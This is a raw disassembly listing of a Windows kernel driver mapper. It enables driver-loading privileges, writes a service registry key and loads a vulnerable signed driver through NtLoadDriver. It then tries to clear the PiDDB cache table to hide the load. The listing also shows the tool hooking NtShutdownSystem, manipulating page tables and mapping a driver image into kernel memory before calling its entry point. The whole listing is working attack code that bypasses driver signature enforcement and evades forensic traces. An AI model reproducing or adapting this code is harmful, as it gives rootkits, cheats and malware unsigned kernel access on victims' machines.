call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x108], xmm1
mov qword [rbp + 0x118], rdi
lea rsi, [0x140077470]
mov qword [rbp + 0xb0], rsi
lea rax, [0x14007dac0]
mov qword [rsp + 0x70], rax
lea r9, [rsp + 0x70]
lea r8, [rbp + 0xb0]
mov edx, 0x6650
lea rcx, [rbp + 0x108]
call fcn.140051ce0
nop
mov r8d, 0x10
lea rdx, [rbp + 0x188]
lea rcx, [0x1400ff98c]
call fcn.140054620
nop
lea rcx, [rbp + 0x1b8]
call fcn.140065da0
nop
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x1400621fa
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x90], rcx
mov qword [rbp + 0x98], rax
movaps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm0
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x90]
lea rcx, [rbp - 0x20]
call fcn.140051da0
nop
lea rdx, [rbp + 0x188]
cmp qword [rbp + 0x1a0], 0xf
cmova rdx, qword [rbp + 0x188]
mov r8, qword [rbp + 0x198]
lea rcx, [rbp - 0x20]
call fcn.14005b970
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x130], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp - 0x20]
call fcn.140019050
nop
lea rcx, [rbp + 0x1b8]
call fcn.14005b400
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x1f0]
call fcn.14006e2ea
lea rdx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rdx, qword [rbp + 0x120]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rcx, [rbp + 0x1f0]
call fcn.1400535d0
nop
mov r8, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x108]
sub r8, rdx
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x1f8]
call fcn.14005bc60
test rax, rax
jne 0x140062347
mov rax, qword [rbp + 0x1f0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1f0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd8], xmm1
mov r8d, 0x15
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0xc8]
call fcn.140051bb0
mov qword [rbp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x20]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400627c4
mov qword [rbp + 0xb0], rdi
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 7
cmova rdx, qword [rbp + 0xc8]
lea r8, [rbp + 0xb0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400627c4
mov dword [rbp + 0x90], 1
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x94], rax
mov dword [rbp + 0x9c], 2
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov r9d, 0x10
lea r8, [rbp + 0x90]
xor edx, edx
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1400627c4
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0xc8]
call fcn.14005b400
xor r8d, r8d
lea rdx, [rbp + 0x120]
lea rcx, [rbp - 0x80]
call fcn.140051980
nop
mov rdx, rax
lea rcx, [rbp]
call fcn.14005b500
nop
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x14006245f
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x90], rcx
mov qword [rbp + 0x98], rax
movaps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm0
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x90]
lea rcx, [rbp - 0x20]
call fcn.140051da0
nop
lea r8, [rbp - 0x20]
lea rdx, [0x1400b78dc]
lea rcx, [rbp + 0x1b8]
call fcn.140051a80
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd8], xmm1
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0xc8]
call fcn.1400173f0
nop
lea rdx, [rbp + 0x188]
cmp qword [rbp + 0x1a0], 0xf
cmova rdx, qword [rbp + 0x188]
mov r8, qword [rbp + 0x198]
lea rcx, [rbp + 0xc8]
call fcn.14005b970
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova rdx, qword [rbp + 0xc8]
lea r8, [rbp + 0x20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x1400625cf
mov bl, 1
jmp 0x1400626d4
mov rsi, qword [r14 + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r8, qword [rbp + 0x158]
cmp r8, 0xf
jbe 0x140062577
mov rdx, qword [rbp + 0x140]
lea rcx, [rbp + 0x140]
call fcn.14005ab50
mov qword [rbp + 0x150], rdi
mov qword [rbp + 0x158], 0xf
mov byte [rbp + 0x140], 0
jmp 0x140061ebc
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r8, qword [rbp + 0x100]
cmp r8, 0xf
jbe 0x14006214d
mov rdx, qword [rbp + 0xe8]
lea rcx, [rbp + 0xe8]
call fcn.14005ab50
jmp 0x14006214d
mov byte [rbp + 0x80], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x14006260f
mov bl, 1
jmp 0x1400626d4
mov byte [rbp + 0x83], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x83]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x14006264f
mov bl, 1
jmp 0x1400626d4
mov byte [rbp + 0x82], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x82]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x14006268c
mov bl, 1
jmp 0x1400626d4
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x140062699
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400626c4
mov bl, 1
jmp 0x1400626d4
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
test eax, eax
setne bl
lea rcx, [rbp + 0xc8]
call fcn.140019050
nop
lea rcx, [rbp + 0x1b8]
call fcn.140019050
nop
lea rcx, [rbp - 0x20]
call fcn.140019050
nop
lea rcx, [rbp]
call fcn.14005b400
nop
lea rcx, [rbp - 0x80]
call fcn.14005b400
test bl, bl
jne 0x1400627d0
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf8], xmm1
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0xe8]
call fcn.1400173f0
nop
lea rdx, [rbp + 0x188]
cmp qword [rbp + 0x1a0], 0xf
cmova rdx, qword [rbp + 0x188]
mov r8, qword [rbp + 0x198]
lea rcx, [rbp + 0xe8]
call fcn.14005b970
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
cmova rdx, qword [rbp + 0xe8]
lea rcx, [rbp + 0x1a8]
call sub.ntdll.dll_RtlInitAnsiString
mov r8b, 1
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0xb8]
call sub.ntdll.dll_RtlAnsiStringToUnicodeString
lea rcx, [rbp + 0xb8]
call sub.ntdll.dll_NtLoadDriver
test eax, eax
sete bl
lea rcx, [rbp + 0xe8]
call fcn.140019050
jmp 0x1400627d2
lea rcx, [rbp + 0xc8]
call fcn.14005b400
xor bl, bl
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x1b8]
call fcn.1400536e0
mov byte [rbp + 0x1d8], bl
lea rcx, [rbp + 0x1f0]
call fcn.140054950
nop
lea rcx, [rbp + 0x120]
call fcn.140019050
nop
lea rcx, [rbp + 0x188]
call fcn.140019050
nop
lea rcx, [rbp + 0x108]
call fcn.140054290
nop
test bl, bl
jne 0x14006285d
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x140073150]
movdqu xmmword [rbp - 0x70], xmm1
mov byte [rbp - 0x80], bl
mov qword [rbp + 0x160], rdi
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x168]
call fcn.1400536e0
nop
lea rcx, [rbp - 0x80]
call fcn.140019050
jmp 0x1400628ac
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..GIO
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x1400ff990], rax
mov qword [rbp + 0x160], rax
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x168]
call fcn.1400536e0
nop
lea rcx, [rbp + 0x1b8]
call fcn.140019050
nop
cmp qword [rbp + 0x160], 0
je 0x1400631ab
cmp qword [rbp + 0x178], 0
je 0x1400631ab
lea rdx, str.vulnerable_driver_loaded__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051200
lea rdx, [rbp + 0x168]
cmp qword [rbp + 0x180], 0xf
cmova rdx, qword [rbp + 0x168]
mov rcx, rax
call fcn.140051200
mov rcx, rax
lea rdx, [0x1400b7a54]
call fcn.140051200
lea rdx, [0x140052f80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x81]
call fcn.140069030
mov eax, 0x5a4d
cmp word [0x140077470], ax
jne 0x140062950
movsxd r8, dword [0x1400774ac]
add r8, 8
add r8, rsi
jmp 0x140062956
mov r8d, 4
mov r8d, dword [r8]
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x81]
call fcn.1400699d0
test al, al
jne 0x1400629d5
lea rdx, str.Failed_to_clear_PiDDB_cache_table.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051200
lea rdx, [0x140052f80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x1b8]
call fcn.1400536e0
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1400629c8
mov rcx, rbx
call fcn.140066410
nop
mov rcx, rbx
call fcn.140019050
jmp 0x1400631cf
mov rbx, r14
mov esi, dword [rsp + 0x68]
mov qword [rsp + 0x70], rsi
lea r15, [rsi + r14]
mov edx, 4
cmp r14, r15
jae 0x140062d2b
mov ecx, dword [0x1400ffc10]
mov rax, qword gs:[0x58]
mov r14, qword [rax + rcx*8]
add r14, rdx
nop dword [rax]
mov eax, dword [r14]
cmp dword [0x1400ffa10], eax
jle 0x140062a60
lea rcx, [0x1400ffa10]
call fcn.14006c798
cmp dword [0x1400ffa10], 0xffffffff
jne 0x140062a60
lea rcx, [0x1400710c0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400ffa08], rax
lea rcx, [0x1400ffa10]
call fcn.14006c72c
lea rcx, [0x1400fee80]
call sub.MSVCP140.dll__Mtx_lock
test eax, eax
jne 0x1400632c7
cmp dword [0x1400feecc], 0x7fffffff
je 0x1400632b2
mov dword [rbp + 0x108], 0x25ff
mov word [rbp + 0x10c], ax
mov qword [rbp + 0x10e], r12
mov rcx, qword [0x1400ff998]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x1a8]
call fcn.140063c80
mov rcx, qword [0x1400ff998]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x108]
call fcn.140066be0
mov rax, qword [0x1400ffa08]
mov rcx, rbx
call rax
mov rsi, rax
mov rcx, qword [0x1400ff998]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x1a8]
call fcn.140066be0
lea rcx, [0x1400fee80]
call sub.MSVCP140.dll__Mtx_unlock
mov r9d, 8
mov r8, rsi
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x81]
call fcn.14006b570
test al, al
jne 0x140062b28
xor eax, eax
mov qword [rbp + 0x20], rax
lea rdx, str.manipulating_page_table__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051200
lea rdx, [rbp + 0x168]
cmp qword [rbp + 0x180], 0xf
cmova rdx, qword [rbp + 0x168]
mov rcx, rax
call fcn.140051200
mov rcx, rax
lea rdx, str._._Large_page__
call fcn.140051200
mov rdx, qword [rbp + 0x20]
shr rdx, 7
and edx, 1
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x1400b7a54]
call fcn.140051200
lea rdx, [0x140052f80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rbp + 0x20]
test al, al
jns 0x140062bc2
movabs rcx, 0x7ffffffffffffffd
and rax, rcx
or rax, 2
mov qword [rbp + 0x20], rax
lea r8, [rbp + 0x20]
jmp 0x140062d01
mov eax, dword [r14]
cmp dword [0x1400ffa10], eax
jle 0x140062c12
lea rcx, [0x1400ffa10]
call fcn.14006c798
cmp dword [0x1400ffa10], 0xffffffff
jne 0x140062c12
lea rcx, [0x1400710c0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400ffa08], rax
lea rcx, [0x1400ffa10]
call fcn.14006c72c
lea rcx, [0x1400fee80]
call sub.MSVCP140.dll__Mtx_lock
test eax, eax
jne 0x1400632a7
cmp dword [0x1400feecc], 0x7fffffff
je 0x140063292
mov dword [rbp + 0xb8], 0x25ff
mov word [rbp + 0xbc], ax
mov qword [rbp + 0xbe], r13
mov rcx, qword [0x1400ff998]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x90]
call fcn.140063c80
mov rcx, qword [0x1400ff998]
nop
mov r8d, 0xe
lea rdx, [rbp + 0xb8]
call fcn.140066be0
mov rax, qword [0x1400ffa08]
mov rcx, rbx
call rax
mov rsi, rax
mov rcx, qword [0x1400ff998]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x90]
call fcn.140066be0
lea rcx, [0x1400fee80]
call sub.MSVCP140.dll__Mtx_unlock
mov r9d, 8
mov r8, rsi
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x81]
call fcn.14006b570
test al, al
jne 0x140062cdb
xor eax, eax
jmp 0x140062ce2
mov rax, qword [rbp + 0xb0]
movabs rcx, 0x7ffffffffffffffd
and rax, rcx
or rax, 2
mov qword [rbp + 0xb0], rax
lea r8, [rbp + 0xb0]
mov r9d, 8
mov rdx, rsi
lea rcx, [rbp + 0x81]
call fcn.14006bda0
add rbx, 0x1000
cmp rbx, r15
jb 0x140062a10
mov rsi, qword [rsp + 0x70]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov r13, qword [rsp + 0x40]
mov r8d, dword [r13 + 0x54]
mov rdx, qword [0x1400ff778]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.local_mapped_image_base__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051200
mov rdx, r14
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x1400b7a54]
call fcn.140051200
lea rdx, [0x140052f80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movzx eax, word [r13 + 0x14]
lea r15, [r13 + 0x18]
add r15, rax
mov r12, qword [rsp + 0x78]
cmp di, word [r13 + 6]
jae 0x140062e9b
lea rsi, [r15 + 0xc]
nop dword [rax + rax]
mov ebx, dword [rsi]
add rbx, r14
mov r8d, dword [rsi + 4]
mov edx, dword [rsi + 8]
add rdx, qword [0x1400ff778]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.mapping_section__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051200
movsxd rcx, edi
lea r8, [rcx + rcx*4]
lea rdx, [r15 + r8*8]
mov rcx, rax
call fcn.140051200
lea rdx, [0x1400b7bcc]
mov rcx, rax
call fcn.140051200
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x1400b7bc4]
call fcn.140051200
mov edx, dword [rsi]
add rdx, r12
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, str.___0x
call fcn.140051200
lea rdx, [0x140060900]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rsi + 4]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400b7a54]
call fcn.140051200
lea rdx, [0x140052f80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc edi
lea rsi, [rsi + 0x28]
movzx eax, word [r13 + 6]
cmp edi, eax
jl 0x140062dc0
mov rsi, qword [rsp + 0x70]
lea rdx, str.mapping_driver___signed_driver_in_section__.data__with_size__0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051200
lea rdx, [0x140060900]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rsp + 0x68]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
mov rcx, rax
lea rdx, [0x1400b7a54]
call fcn.140051200
lea rdx, [0x140052f80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, r12
sub rbx, qword [r13 + 0x30]
mov rdx, r14
lea rcx, [rbp + 0x90]
call fcn.1400686e0
mov rdx, rbx
mov rcx, rax
call fcn.140068810
mov rdx, r14
lea rcx, [rbp + 0x90]
call fcn.140067e60
mov rcx, rax
call fcn.140068ac0
test al, al
jne 0x140062f8b
lea rdx, str.failed_to_resolve_imports.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051200
lea rdx, [0x140052f80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x1b8]
call fcn.1400536e0
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140062f7e
mov rcx, rbx
call fcn.140066410
nop
mov rcx, rbx
call fcn.140019050
jmp 0x1400631cf
mov r8d, dword [r13 + 0x54]
xor edx, edx
mov rcx, r14
call fcn.14006e2ea
mov r9, rsi
mov r8, r14
mov rdx, r12
lea rcx, [rbp + 0x81]
call fcn.14006bda0
mov ebx, dword [r13 + 0x28]
add rbx, r12
lea rdx, str.mapped_entry_point__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051200
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x1400b7a54]
call fcn.140051200
lea rdx, [0x140052f80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, dword [r13 + 0x50]
mov r8d, dword [0x1400ffc10]
mov rax, qword gs:[0x58]
mov r8, qword [rax + r8*8]
mov eax, 4
mov eax, dword [rax + r8]
cmp dword [0x1400ffa20], eax
jle 0x140063061
lea rcx, [0x1400ffa20]
call fcn.14006c798
cmp dword [0x1400ffa20], 0xffffffff
jne 0x140063061
lea rcx, [0x1400710c0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400ffa18], rax
lea rcx, [0x1400ffa20]
call fcn.14006c72c
lea rcx, [0x1400feed0]
call sub.MSVCP140.dll__Mtx_lock
test eax, eax
jne 0x1400632d2
cmp dword [0x1400fef1c], 0x7fffffff
je 0x140063245
mov dword [rbp + 0xb8], 0x25ff
mov word [rbp + 0xbc], ax
mov qword [rbp + 0xbe], rbx
mov rcx, qword [0x1400ff998]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x90]
call fcn.140063c80
mov rcx, qword [0x1400ff998]
nop
mov r8d, 0xe
lea rdx, [rbp + 0xb8]
call fcn.140066be0
mov rax, qword [0x1400ffa18]
mov rdx, rdi
mov rcx, r12
call rax
mov ebx, eax
mov rcx, qword [0x1400ff998]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x90]
call fcn.140066be0
lea rcx, [0x1400feed0]
call sub.MSVCP140.dll__Mtx_unlock
lea rdx, str.driver_entry_returned__0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051200
lea rdx, [0x140060900]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400b7a54]
call fcn.140051200
lea rdx, [0x140052f80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x1b8]
call fcn.1400536e0
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140063192
mov rcx, rbx
call fcn.140066410
test al, al
je 0x140063192
mov dil, 1
jmp 0x140063195
xor dil, dil
mov rcx, rbx
call fcn.140019050
test dil, dil
jne 0x1400631cf
lea rdx, str.unable_to_unload_vulnerable_driver.
jmp 0x1400631b2
lea rdx, str.unable_to_load_vulnerable_driver.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051200
lea rdx, [0x140052f80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x160]
call fcn.140054200
jmp 0x14006320a
lea rdx, str.failed_to_sig_scan_PTE_functions.
jmp 0x1400631ed
lea rdx, str.failed_to_load_signed_driver__please_restart_your_computer
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051200
lea rdx, [0x140052f80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x30]
call fcn.1400543e0
mov al, 1
mov rcx, qword [rbp + 0x300]
